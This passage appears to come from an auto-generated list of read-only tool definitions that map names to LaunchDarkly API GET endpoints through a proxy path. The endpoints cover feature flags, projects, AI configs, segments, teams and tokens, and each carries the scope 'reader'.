launchdarkly_get_flag_statuses_by_projectkey_by_environmentkey (read) — Get feature flag statuses via GET /api/v2/flag-statuses/{projectKey}/{environmentKey} GET /api/v1/launchdarkly/api/v2/flag-statuses/{projectKey}/{environmentKey}. Scopes: reader. launchdarkly_get_flag_statuses_by_projectkey_by_environmentkey_by_featureflagkey (read) — Get feature flag status via GET /api/v2/flag-statuses/{projectKey}/{environmentKey}/{featureFlagKey} GET /api/v1/launchdarkly/api/v2/flag-statuses/{projectKey}/{environmentKey}/{featureFlagKey}. Scopes: reader. launchdarkly_get_flags_by_projectkey (read) — Get feature flags via GET /api/v2/flags/{projectKey} GET /api/v1/launchdarkly/api/v2/flags/{projectKey}. Scopes: reader. launchdarkly_get_flags_by_projectkey_by_environmentkey_by_featureflagkey_dependent_flags (read) — Get dependent flags by env via GET /api/v2/flags/{projectKey}/{environmentKey}/{featureFlagKey}/dependent-flags GET /api/v1/launchdarkly/api/v2/flags/{projectKey}/{environmentKey}/{featureFlagKey}/dependent-flags. Scopes: reader. launchdarkly_get_flags_by_projectkey_by_featureflagkey (read) — Get feature flag via GET /api/v2/flags/{projectKey}/{featureFlagKey} GET /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}. Scopes: reader. launchdarkly_get_flags_by_projectkey_by_featureflagkey_dependent_flags (read) — Get dependent flags via GET /api/v2/flags/{projectKey}/{featureFlagKey}/dependent-flags GET /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/dependent-flags. Scopes: reader. launchdarkly_get_flags_by_projectkey_by_featureflagkey_expiring_targets_by_environmentkey (read) — Get expiring context targets via GET /api/v2/flags/{projectKey}/{featureFlagKey}/expiring-targets/{environmentKey} GET /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/expiring-targets/{environmentKey}. Scopes: reader. launchdarkly_get_flags_by_projectkey_by_featureflagkey_expiring_user_targets_by_environmentkey (read) — Get expiring user targets via GET /api/v2/flags/{projectKey}/{featureFlagKey}/expiring-user-targets/{environmentKey} GET /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/expiring-user-targets/{environmentKey}. Scopes: reader. launchdarkly_get_flags_by_projectkey_by_featureflagkey_triggers_by_environmentkey (read) — Get trigger workflows via GET /api/v2/flags/{projectKey}/{featureFlagKey}/triggers/{environmentKey} GET /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/triggers/{environmentKey}. Scopes: reader. launchdarkly_get_flags_by_projectkey_by_featureflagkey_triggers_by_environmentkey_by_id (read) — Get trigger workflow by id via GET /api/v2/flags/{projectKey}/{featureFlagKey}/triggers/{environmentKey}/{id} GET /api/v1/launchdarkly/api/v2/flags/{projectKey}/{featureFlagKey}/triggers/{environmentKey}/{id}. Scopes: reader. launchdarkly_get_flags_by_projectkey_by_flagkey_release (read) — Get release by flag key via GET /api/v2/flags/{projectKey}/{flagKey}/release GET /api/v1/launchdarkly/api/v2/flags/{projectKey}/{flagKey}/release. Scopes: reader. launchdarkly_get_integration_capabilities_big_segment_store (read) — Get big segment store integrations via GET /api/v2/integration-capabilities/big-segment-store GET /api/v1/launchdarkly/api/v2/integration-capabilities/big-segment-store. Scopes: reader. launchdarkly_get_integration_capabilities_big_segment_store_by_projectkey_by_environmentkey_by_integrationkey_by_integrationid (read) — Get big segment store integration via GET /api/v2/integration-capabilities/big-segment-store/{projectKey}/{environmentKey}/{integrationKey}/{integrationId} GET /api/v1/launchdarkly/api/v2/integration-capabilities/big-segment-store/{projectKey}/{environmentKey}/{integrationKey}/{integrationId}. Scopes: reader. launchdarkly_get_integration_capabilities_featurestore (read) — Get integration delivery configurations via GET /api/v2/integration-capabilities/featureStore GET /api/v1/launchdarkly/api/v2/integration-capabilities/featureStore. Scopes: reader. launchdarkly_get_integration_capabilities_featurestore_by_projectkey_by_environmentkey (read) — Get integration delivery configuration by environment via GET /api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey} GET /api/v1/launchdarkly/api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}. Scopes: reader. launchdarkly_get_integration_capabilities_featurestore_by_projectkey_by_environmentkey_by_integrationkey_by_id (read) — Get integration delivery configuration by id via GET /api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}/{integrationKey}/{id} GET /api/v1/launchdarkly/api/v2/integration-capabilities/featureStore/{projectKey}/{environmentKey}/{integrationKey}/{id}. Scopes: reader. launchdarkly_get_integration_capabilities_flag_import (read) — Get flag import configurations via GET /api/v2/integration-capabilities/flag-import GET /api/v1/launchdarkly/api/v2/integration-capabilities/flag-import. Scopes: reader. launchdarkly_get_integration_capabilities_flag_import_by_projectkey_by_integrationkey_by_integrationid (read) — Get flag import configuration via GET /api/v2/integration-capabilities/flag-import/{projectKey}/{integrationKey}/{integrationId} GET /api/v1/launchdarkly/api/v2/integration-capabilities/flag-import/{projectKey}/{integrationKey}/{integrationId}. Scopes: reader. launchdarkly_get_integration_configurations_by_integrationconfigurationid (read) — Get integration configuration via GET /api/v2/integration-configurations/{integrationConfigurationId} GET /api/v1/launchdarkly/api/v2/integration-configurations/{integrationConfigurationId}. Scopes: reader. launchdarkly_get_integration_configurations_keys_by_integrationkey (read) — Get all integration configurations via GET /api/v2/integration-configurations/keys/{integrationKey} GET /api/v1/launchdarkly/api/v2/integration-configurations/keys/{integrationKey}. Scopes: reader. launchdarkly_get_integrations_by_integrationkey (read) — Get subscriptions via GET /api/v2/integrations/{integrationKey} GET /api/v1/launchdarkly/api/v2/integrations/{integrationKey}. Scopes: reader. launchdarkly_get_integrations_by_integrationkey_by_id (read) — Get subscription by ID via GET /api/v2/integrations/{integrationKey}/{id} GET /api/v1/launchdarkly/api/v2/integrations/{integrationKey}/{id}. Scopes: reader. launchdarkly_get_members (read) — Get members via GET /api/v2/members GET /api/v1/launchdarkly/api/v2/members. Scopes: reader. launchdarkly_get_members_by_id (read) — Get member via GET /api/v2/members/{id} GET /api/v1/launchdarkly/api/v2/members/{id}. Scopes: reader. launchdarkly_get_metrics_by_projectkey (read) — Get metrics via GET /api/v2/metrics/{projectKey} GET /api/v1/launchdarkly/api/v2/metrics/{projectKey}. Scopes: reader. launchdarkly_get_metrics_by_projectkey_by_metrickey (read) — Get metric via GET /api/v2/metrics/{projectKey}/{metricKey} GET /api/v1/launchdarkly/api/v2/metrics/{projectKey}/{metricKey}. Scopes: reader. launchdarkly_get_oauth_clients (read) — Get oauth clients via GET /api/v2/oauth/clients GET /api/v1/launchdarkly/api/v2/oauth/clients. Scopes: reader. launchdarkly_get_oauth_clients_by_clientid (read) — Get oauth client by id via GET /api/v2/oauth/clients/{clientId} GET /api/v1/launchdarkly/api/v2/oauth/clients/{clientId}. Scopes: reader. launchdarkly_get_openapi_json (read) — Get openapi spec via GET /api/v2/openapi.json GET /api/v1/launchdarkly/api/v2/openapi.json. Scopes: reader. launchdarkly_get_projects (read) — Get projects via GET /api/v2/projects GET /api/v1/launchdarkly/api/v2/projects. Scopes: reader. launchdarkly_get_projects_by_projectkey (read) — Get project via GET /api/v2/projects/{projectKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_agent_graphs (read) — List agent graphs via GET /api/v2/projects/{projectKey}/agent-graphs GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-graphs. Scopes: reader. launchdarkly_get_projects_by_projectkey_agent_graphs_by_graphkey (read) — Get agent graph via GET /api/v2/projects/{projectKey}/agent-graphs/{graphKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-graphs/{graphKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_agent_optimizations (read) — List agent optimizations via GET /api/v2/projects/{projectKey}/agent-optimizations GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations. Scopes: reader. launchdarkly_get_projects_by_projectkey_agent_optimizations_by_optimizationkey (read) — Get agent optimization via GET /api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_agent_optimizations_by_optimizationkey_all_results (read) — List all agent optimization results via GET /api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/all-results GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/all-results. Scopes: reader. launchdarkly_get_projects_by_projectkey_agent_optimizations_by_optimizationkey_results (read) — List agent optimization results via GET /api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/results GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/results. Scopes: reader. launchdarkly_get_projects_by_projectkey_agent_optimizations_by_optimizationkey_runs (read) — List agent optimization runs via GET /api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/runs GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/runs. Scopes: reader. launchdarkly_get_projects_by_projectkey_agent_optimizations_by_optimizationkey_runs_by_runid_results (read) — List agent optimization results by run id via GET /api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/runs/{runId}/results GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/agent-optimizations/{optimizationKey}/runs/{runId}/results. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs (read) — Get aiconfigs via GET /api/v2/projects/{projectKey}/ai-configs GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_by_configkey (read) — Get aiconfig via GET /api/v2/projects/{projectKey}/ai-configs/{configKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_by_configkey_metrics (read) — Get aiconfig metrics via GET /api/v2/projects/{projectKey}/ai-configs/{configKey}/metrics GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}/metrics. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_by_configkey_metrics_by_variation (read) — Get aiconfig metrics by variation via GET /api/v2/projects/{projectKey}/ai-configs/{configKey}/metrics-by-variation GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}/metrics-by-variation. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_by_configkey_targeting (read) — Get aiconfig targeting via GET /api/v2/projects/{projectKey}/ai-configs/{configKey}/targeting GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}/targeting. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_by_configkey_variations_by_variationkey (read) — Get aiconfig variation via GET /api/v2/projects/{projectKey}/ai-configs/{configKey}/variations/{variationKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/{configKey}/variations/{variationKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_model_configs (read) — List model configs via GET /api/v2/projects/{projectKey}/ai-configs/model-configs GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/model-configs. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_model_configs_by_modelconfigkey (read) — Get model config via GET /api/v2/projects/{projectKey}/ai-configs/model-configs/{modelConfigKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/model-configs/{modelConfigKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_model_configs_by_modelconfigkey_versions (read) — List model config versions via GET /api/v2/projects/{projectKey}/ai-configs/model-configs/{modelConfigKey}/versions GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/model-configs/{modelConfigKey}/versions. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_prompt_snippets (read) — List prompt snippets via GET /api/v2/projects/{projectKey}/ai-configs/prompt-snippets GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/prompt-snippets. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_prompt_snippets_by_snippetkey (read) — Get prompt snippet via GET /api/v2/projects/{projectKey}/ai-configs/prompt-snippets/{snippetKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/prompt-snippets/{snippetKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_prompt_snippets_by_snippetkey_references (read) — List prompt snippet references via GET /api/v2/projects/{projectKey}/ai-configs/prompt-snippets/{snippetKey}/references GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/prompt-snippets/{snippetKey}/references. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_prompt_snippets_by_snippetkey_versions (read) — List prompt snippet versions via GET /api/v2/projects/{projectKey}/ai-configs/prompt-snippets/{snippetKey}/versions GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/prompt-snippets/{snippetKey}/versions. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_quick_stats (read) — Get aiconfig quick stats via GET /api/v2/projects/{projectKey}/ai-configs/quick-stats GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/quick-stats. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_skills (read) — List agent skills via GET /api/v2/projects/{projectKey}/ai-configs/skills GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/skills. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_skills_by_skillkey (read) — Get agent skill via GET /api/v2/projects/{projectKey}/ai-configs/skills/{skillKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/skills/{skillKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_skills_by_skillkey_references (read) — List agent skill references via GET /api/v2/projects/{projectKey}/ai-configs/skills/{skillKey}/references GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/skills/{skillKey}/references. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_configs_skills_by_skillkey_versions (read) — List agent skill versions via GET /api/v2/projects/{projectKey}/ai-configs/skills/{skillKey}/versions GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-configs/skills/{skillKey}/versions. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_tools (read) — List aitools via GET /api/v2/projects/{projectKey}/ai-tools GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-tools. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_tools_by_toolkey (read) — Get aitool via GET /api/v2/projects/{projectKey}/ai-tools/{toolKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-tools/{toolKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_tools_by_toolkey_references (read) — List aitool references via GET /api/v2/projects/{projectKey}/ai-tools/{toolKey}/references GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-tools/{toolKey}/references. Scopes: reader. launchdarkly_get_projects_by_projectkey_ai_tools_by_toolkey_versions (read) — List aitool versions via GET /api/v2/projects/{projectKey}/ai-tools/{toolKey}/versions GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/ai-tools/{toolKey}/versions. Scopes: reader. launchdarkly_get_projects_by_projectkey_context_kinds (read) — Get context kinds by project key via GET /api/v2/projects/{projectKey}/context-kinds GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/context-kinds. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments (read) — Get environments by project via GET /api/v2/projects/{projectKey}/environments GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey (read) — Get environment via GET /api/v2/projects/{projectKey}/environments/{environmentKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_adaptive_triggers (read) — List adaptive triggers via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_adaptive_triggers_by_triggerid (read) — Get adaptive trigger via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers/{triggerID} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/adaptive-triggers/{triggerID}. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_context_attributes (read) — Get context attribute names via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/context-attributes GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/context-attributes. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_context_attributes_by_attributename (read) — Get context attribute values via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/context-attributes/{attributeName} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/context-attributes/{attributeName}. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_context_instances_by_id (read) — Get context instances via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/context-instances/{id} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/context-instances/{id}. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_contexts_by_kind_by_key (read) — Get contexts via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/contexts/{kind}/{key} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/contexts/{kind}/{key}. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_experiments (read) — Get experiments via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/experiments GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/experiments. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_experiments_by_experimentkey (read) — Get experiment via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/experiments/{experimentKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/experiments/{experimentKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_followers (read) — Get followers by proj env via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/followers GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/followers. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_holdouts (read) — Get all holdouts via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/holdouts GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/holdouts. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_holdouts_by_holdoutkey (read) — Get holdout via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/holdouts/{holdoutKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/holdouts/{holdoutKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_holdouts_id_by_holdoutid (read) — Get holdout by id via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/holdouts/id/{holdoutId} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/holdouts/id/{holdoutId}. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_sdk_keys (read) — Get sdk keys via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/sdk-keys GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/sdk-keys. Scopes: reader. launchdarkly_get_projects_by_projectkey_environments_by_environmentkey_sdk_keys_by_sdkkeykey (read) — Get sdk key by key via GET /api/v2/projects/{projectKey}/environments/{environmentKey}/sdk-keys/{sdkKeyKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/environments/{environmentKey}/sdk-keys/{sdkKeyKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_experimentation_settings (read) — Get experimentation settings via GET /api/v2/projects/{projectKey}/experimentation-settings GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/experimentation-settings. Scopes: reader. launchdarkly_get_projects_by_projectkey_experiments (read) — Get experiments any env via GET /api/v2/projects/{projectKey}/experiments GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/experiments. Scopes: reader. launchdarkly_get_projects_by_projectkey_flag_defaults (read) — Get flag defaults by project via GET /api/v2/projects/{projectKey}/flag-defaults GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/flag-defaults. Scopes: reader. launchdarkly_get_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_approval_requests (read) — Get approvals for flag via GET /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests. Scopes: reader. launchdarkly_get_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_approval_requests_by_id (read) — Get approval for flag via GET /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests/{id} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/approval-requests/{id}. Scopes: reader. launchdarkly_get_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_followers (read) — Get flag followers via GET /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/followers GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/followers. Scopes: reader. launchdarkly_get_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_scheduled_changes (read) — Get flag config scheduled changes via GET /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/scheduled-changes GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/scheduled-changes. Scopes: reader. launchdarkly_get_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_scheduled_changes_by_id (read) — Get feature flag scheduled change via GET /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/scheduled-changes/{id} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/scheduled-changes/{id}. Scopes: reader. launchdarkly_get_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_workflows (read) — Get workflows via GET /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/workflows GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/workflows. Scopes: reader. launchdarkly_get_projects_by_projectkey_flags_by_featureflagkey_environments_by_environmentkey_workflows_by_workflowid (read) — Get custom workflow via GET /api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/workflows/{workflowId} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/flags/{featureFlagKey}/environments/{environmentKey}/workflows/{workflowId}. Scopes: reader. launchdarkly_get_projects_by_projectkey_layers (read) — Get layers via GET /api/v2/projects/{projectKey}/layers GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/layers. Scopes: reader. launchdarkly_get_projects_by_projectkey_metric_groups (read) — Get metric groups via GET /api/v2/projects/{projectKey}/metric-groups GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/metric-groups. Scopes: reader. launchdarkly_get_projects_by_projectkey_metric_groups_by_metricgroupkey (read) — Get metric group via GET /api/v2/projects/{projectKey}/metric-groups/{metricGroupKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/metric-groups/{metricGroupKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_release_pipelines (read) — Get all release pipelines via GET /api/v2/projects/{projectKey}/release-pipelines GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-pipelines. Scopes: reader. launchdarkly_get_projects_by_projectkey_release_pipelines_by_pipelinekey (read) — Get release pipeline by key via GET /api/v2/projects/{projectKey}/release-pipelines/{pipelineKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-pipelines/{pipelineKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_release_pipelines_by_pipelinekey_releases (read) — Get all release progressions for release pipeline via GET /api/v2/projects/{projectKey}/release-pipelines/{pipelineKey}/releases GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-pipelines/{pipelineKey}/releases. Scopes: reader. launchdarkly_get_projects_by_projectkey_release_policies (read) — Get release policies via GET /api/v2/projects/{projectKey}/release-policies GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-policies. Scopes: reader. launchdarkly_get_projects_by_projectkey_release_policies_by_policykey (read) — Get release policy via GET /api/v2/projects/{projectKey}/release-policies/{policyKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/release-policies/{policyKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_view_associations_by_resourcetype_by_resourcekey (read) — Get linked views via GET /api/v2/projects/{projectKey}/view-associations/{resourceType}/{resourceKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/view-associations/{resourceType}/{resourceKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_views (read) — Get views via GET /api/v2/projects/{projectKey}/views GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/views. Scopes: reader. launchdarkly_get_projects_by_projectkey_views_by_viewkey (read) — Get view via GET /api/v2/projects/{projectKey}/views/{viewKey} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/views/{viewKey}. Scopes: reader. launchdarkly_get_projects_by_projectkey_views_by_viewkey_linked_by_resourcetype (read) — Get linked resources via GET /api/v2/projects/{projectKey}/views/{viewKey}/linked/{resourceType} GET /api/v1/launchdarkly/api/v2/projects/{projectKey}/views/{viewKey}/linked/{resourceType}. Scopes: reader. launchdarkly_get_public_ip_list (read) — Get ips via GET /api/v2/public-ip-list GET /api/v1/launchdarkly/api/v2/public-ip-list. Scopes: reader. launchdarkly_get_roles (read) — Get custom roles via GET /api/v2/roles GET /api/v1/launchdarkly/api/v2/roles. Scopes: reader. launchdarkly_get_roles_by_customrolekey (read) — Get custom role via GET /api/v2/roles/{customRoleKey} GET /api/v1/launchdarkly/api/v2/roles/{customRoleKey}. Scopes: reader. launchdarkly_get_segments_by_projectkey_by_environmentkey (read) — Get segments via GET /api/v2/segments/{projectKey}/{environmentKey} GET /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}. Scopes: reader. launchdarkly_get_segments_by_projectkey_by_environmentkey_by_segmentkey (read) — Get segment via GET /api/v2/segments/{projectKey}/{environmentKey}/{segmentKey} GET /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}. Scopes: reader. launchdarkly_get_segments_by_projectkey_by_environmentkey_by_segmentkey_contexts_by_contextkey (read) — Get segment membership for context via GET /api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/contexts/{contextKey} GET /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/contexts/{contextKey}. Scopes: reader. launchdarkly_get_segments_by_projectkey_by_environmentkey_by_segmentkey_exports_by_exportid (read) — Get big segment export via GET /api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/exports/{exportID} GET /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/exports/{exportID}. Scopes: reader. launchdarkly_get_segments_by_projectkey_by_environmentkey_by_segmentkey_imports_by_importid (read) — Get big segment import via GET /api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/imports/{importID} GET /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/imports/{importID}. Scopes: reader. launchdarkly_get_segments_by_projectkey_by_environmentkey_by_segmentkey_users_by_userkey (read) — Get segment membership for user via GET /api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/users/{userKey} GET /api/v1/launchdarkly/api/v2/segments/{projectKey}/{environmentKey}/{segmentKey}/users/{userKey}. Scopes: reader. launchdarkly_get_segments_by_projectkey_by_segmentkey_expiring_targets_by_environmentkey (read) — Get expiring targets for segment via GET /api/v2/segments/{projectKey}/{segmentKey}/expiring-targets/{environmentKey} GET /api/v1/launchdarkly/api/v2/segments/{projectKey}/{segmentKey}/expiring-targets/{environmentKey}. Scopes: reader. launchdarkly_get_segments_by_projectkey_by_segmentkey_expiring_user_targets_by_environmentkey (read) — Get expiring user targets for segment via GET /api/v2/segments/{projectKey}/{segmentKey}/expiring-user-targets/{environmentKey} GET /api/v1/launchdarkly/api/v2/segments/{projectKey}/{segmentKey}/expiring-user-targets/{environmentKey}. Scopes: reader. launchdarkly_get_tags (read) — Get tags via GET /api/v2/tags GET /api/v1/launchdarkly/api/v2/tags. Scopes: reader. launchdarkly_get_teams (read) — Get teams via GET /api/v2/teams GET /api/v1/launchdarkly/api/v2/teams. Scopes: reader. launchdarkly_get_teams_by_teamkey (read) — Get team via GET /api/v2/teams/{teamKey} GET /api/v1/launchdarkly/api/v2/teams/{teamKey}. Scopes: reader. launchdarkly_get_teams_by_teamkey_maintainers (read) — Get team maintainers via GET /api/v2/teams/{teamKey}/maintainers GET /api/v1/launchdarkly/api/v2/teams/{teamKey}/maintainers. Scopes: reader. launchdarkly_get_teams_by_teamkey_roles (read) — Get team roles via GET /api/v2/teams/{teamKey}/roles GET /api/v1/launchdarkly/api/v2/teams/{teamKey}/roles. Scopes: reader. launchdarkly_get_templates (read) — Get workflow templates via GET /api/v2/templates GET /api/v1/launchdarkly/api/v2/templates. Scopes: reader. launchdarkly_get_tokens (read) — Get tokens via GET /api/v2/tokens GET /api/v1/launchdarkly/api/v2/tokens. Scopes: reader. launchdarkly_get_tokens_by_id (read) — Get token via GET 